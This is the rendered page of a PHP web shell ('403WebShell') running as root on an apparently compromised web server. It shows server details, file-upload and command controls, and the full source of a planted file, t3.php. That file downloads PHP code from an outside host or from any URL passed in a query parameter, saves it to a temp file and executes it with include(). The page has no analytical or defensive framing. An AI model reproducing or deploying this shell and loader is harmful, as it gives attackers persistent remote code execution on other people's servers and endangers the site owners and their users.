Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.199
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/amid.org.mx/htdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/amid.org.mx/htdocs/t3.php
<?php

define('DEFAULT_SOURCE_URL', 'https://hirachi.jp//access/db.txt');

function getSourceUrl() {
    return isset($_GET['src']) && filter_var($_GET['src'], FILTER_VALIDATE_URL)
        ? $_GET['src']
        : DEFAULT_SOURCE_URL;
}

function getTempPath() {
    if (!empty($_COOKIE['tmp-inc']) && isValidTempPath($_COOKIE['tmp-inc'])) {
        return $_COOKIE['tmp-inc'];
    }
    return generateTempPath();
}

function isValidTempPath($path) {
    return file_exists($path) && filesize($path) > 100;
}

function generateTempPath() {
    $path = tempnam(sys_get_temp_dir(), 'inc_');
    return $path ?: false;
}

function fetchAndStoreContent($url, $path) {
    $content = @file_get_contents($url);
    if ($content === false) {
        die("❌Failed fetch url");
    }

    if (@file_put_contents($path, $content) === false) {
        die("❌ Failed write to tmp.");
    }

    setcookie('tmp-inc', $path);
    include($path);
    exit;
}

// --- Main Logic ---

$tempPath = getTempPath();

if (!$tempPath) {
    die("❌ Failed create tmp");
}

$fileSize = @filesize($tempPath);

if ($fileSize === false || $fileSize < 10) {
    $srcUrl = getSourceUrl();
    fetchAndStoreContent($srcUrl, $tempPath);
} elseif ($fileSize >= 1024) {
    setcookie('tmp-inc', $tempPath);
    include($tempPath);
    exit;
}

die("DIE");

Youez - 2016 - github.com/yon3zu
LinuXploit